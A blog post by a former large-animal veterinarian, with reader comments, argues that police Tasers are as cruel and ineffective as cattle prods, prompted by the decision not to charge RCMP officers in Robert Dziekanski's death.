At 100 millisieverts, the rise in cancer cases caused by radiation becomes statistically detectable, although even lower dose radiation is not advisable for people.


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When will police conclude that Tasers are cruel and useless? This vet wants to know.
The Globe and Mail reports this morning that the Mounties will not be charged in the death of Robert Dziekanski.
Honestly, I'm not sure what to think of that decision by the B.C. criminal justice branch. Even though it's obvious that Dziekanski was murdered, and his mother should receive acknowledgement of that, and some kind of compensation (though nothing will compensate for the loss of her son); I'm not sure the most appropriate course would be to charge the Mounties who used the Taser on him. I believe that the responsibility for his death lies higher up, with the "deciders" who thought it was a good idea to introduce Tasers in the first place. Cattle prods for humans, eh. If it hadn't been in the news for the past several years, I wouldn't believe it – I thought these methods were only worthy of concentration camps.
Essentially a low-tech Taser prototype, discharging 60-80 volts of electricity when applied directly to the skin (holy moly, Tasers discharge 50,000 volts!? Hello, human doctors? could we have a word with you on this?) Even the relatively small voltage of my cattle prod was not something I ever tried on myself, as I'm a bit of a wuss that way – I've been inadvertently shocked by touching electric fences, and other cow-control accoutrements in barns and trust me, it's an unpleasant experience.
The principal use of the prod, I observed during my rotations, was to get cows to stand up when they were too "stubborn" and didn't respond to shouts, kicks pushes or slaps on the rump. I observed that the older vets tended to use the prod more frequently than the younger ones, and that women vets almost never used them. When I entered practice, I kept the prod in my tool chest with 2 double-D Energizer batteries, but never used it, though I did once or twice as a student, under instructions, and yes, it felt wrong. At some point, I removed the batteries to use in a much more useful tool (a flashlight) and never replaced them in the prod.
The main problem with the use of the cattle prod was that, in addition to being a cruel and painful method, it didn't address the underlying problem. If the cow did not rise upon gentle prodding or encouragement, it was because she couldn't – due to pain, weakness, metabolic disease, a fracture or sprain, a slippery floor, or not enough headspace because the chain around her neck prevented her from moving forward. A "downer" cow cannot be ignored – if she stays down too long, then she will never get up again due to muscle damage – but the prod was never a solution to that problem, not even "for her own good".
Another use of the cattle prod is to goad cattle to go where you want them to go, when they are balking. I don't remember ever seeing it used that way, likely because Temple Grandin's work on cattle had already come into vogue, and we were more interested in using gentler, more effective methods of solving problems. The cattle prod makes the animals more skittish, nervous, and prone to accidents and injury. Not in the best interest of vets or farmers.
So imagine my surprise when a "method of control" that was on the point of passing into the annals of veterinary history in the early 2000s was introduced as a method of controlling humans. Le monde à l'envers.
I don't know how I can state it more plainly. Cattle prods, like Tasers, do not achieve the desired ends, and all too often cause "adverse events". Once veterinarians started to realise that cows had very good medical reasons for not rising on command, the use of the prod was seen as retrograde; a tool that at best is useless, and at worst is cruel and harmful. Essentially, if you use it, it's because you are too lazy or incompetent to figure out what the real problem is.
Yes, sometimes humans freak out and act stubbornly, violently, aggressively, and are a danger to themselves and to others. However, until Tasers entered the police arsenal, I had assumed that these professionals, dealing with with fellow humans, could come up with techniques such as, oh I don't know, verbal communication? Judo? Physical isolation or "time-out"? Removing bystanders from the scene so they are not at risk? Or maybe other creative methods to defuse these situations; hell, it's not my responsibility to come up with them, but I'm sure they exist.
Tasers will pass into the annals of police history, it is just a question of time. However, how cruel and stupid are these deciders and manufacturers going to look several years from now? How many humans with diabetes, mental illness, with other medical problems or under extreme duress will have to die in the meantime?
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One answer to your title question is that we should have civilian authorities who are responsible enough to do the research on such methods themselves and then wise enough to lay down the law — literally — to the police. That is the job of people like mayors and police commissioners and so on.
Another answer, as always, is an aroused citizenry who finally force the hand of the civilian authorities, who then force the hand of the police, but man, that is one slow process, and we have just barely begun.
I think there should be an inquest in the role played by different government agencies/bodies in this tragic attack on an innocent man. The RCMP officers were responsible for using excessive violence and pulling the triggers on those guns but there were other failures leading up to calling in the RCMP. Creative methods to diffuse a situation do exist. Health care professionals and many front line social workers have to be trained in these methods because they often deal with many agitated clients.
On a related note, latest propaganda from Taser Inc. is that the expert commissioned by CBC/Radio Canada used flawed data in his report.
I tend to think that it's the senior law enforcers' "professional" responsibility to get rid of Tasers. "Evidence-based" practice, maybe? Of course, they are in a world of escalated weaponry, which is a problem in itself. The problem with Tasers is that they are supposed to be "non-lethal" weapons, too often used just because they can. And it's just plain wrong, any way one looks at it.
But as you note, it's the public who often has to get enraged and agitate – but they don't have the power or the authority to change things, not quickly enough anyways.
I'm sure there are still vets, ranchers and farmers out there using cattle prods – but not as many as before.
Thanks for that Beijing. But even at the "expected level", it's discharging a humungous amount of voltage! I was stunned (no pun intended) to find out how much, I really wasn't expecting that. My little cattle prod absolutely pales in comparison.
Cattle prods were among the most popular means of torture in the so-called Southern Cone countries (Argentina, Chile, Paraguay, Uruguay) during the totalitarian dictatorships of Operation Condor, since these countries are famous for their huge productions of beef, sheep and other meats. The torturers devised all kinds of means of increasing their power and the pain inflicted.
I won't go more into the horrors of the concentration camps in those regimes; there are many publications availible in print and online. Many of the other means of torture and mass death in those countries also "creatively" used the technologies of the livestock industry.
We have seen too many cases where there was either a lack of communication (as in the horrible Robert Dziekanski case) or physical incapacity to respond, as in the recent case in which a man suffering from acute diabetic shock was tasered instead of receiving the first-responder medical help he should have been able to count on from law enforcement professionals.
That's wonderful stuff, brebis noire. A great and needful perspective.
brebis noire, I am enjoying the depth and breadth of your blogposts, and I am looking forward to reading your perspectives on other political issues.
brebis noire — I am thrilled to see what you are doing with your blog. I believe my dog and cats would second that! I love the essay style of your writing, and what you are bringing together — the bases from which your point of view emerges and synthesizes. Very refreshing; very valuable.
It's already one of my favourites.
I went over to Deltoid a little while ago and noted that excessive sweating is one of the supposed symptoms of supposed "excited delirium"; and I asked if the shock might be intensified if used on someone who is sweating. A few people discussed it, but the response was inconclusive.
I first had the idea from instructions on using a cattle prod which said don't use it on wet cattle.
Thanks everyone. There were a lot of painful moments as a large animal vet; in spite of a lot of Herriot-like stories, it was generally rather depressing work if one thought about it too much.
Holly, I checked out that discussion, and even though I'm not much use at discussing electrical conductivity, I can't help thinking that sweat would have an effect on the penetration or effect of the current. Some people can sweat very profusely, and of course we are always warned about being careful with electrical current when our feet are damp. I suppose you'd need a cardiologist to explain that, or even better, someone who specialises in the pathology of electrocution. I am still waiting for that person to step out into the media and make the statement against Tasers.
Australia and Britain's bobby's to be armed with stun guns.
Call me cynical but one thing I never see when reading the 'excuses' stun guns are necessary is the fact they leave no mess.
Great content. When will I get the more info?
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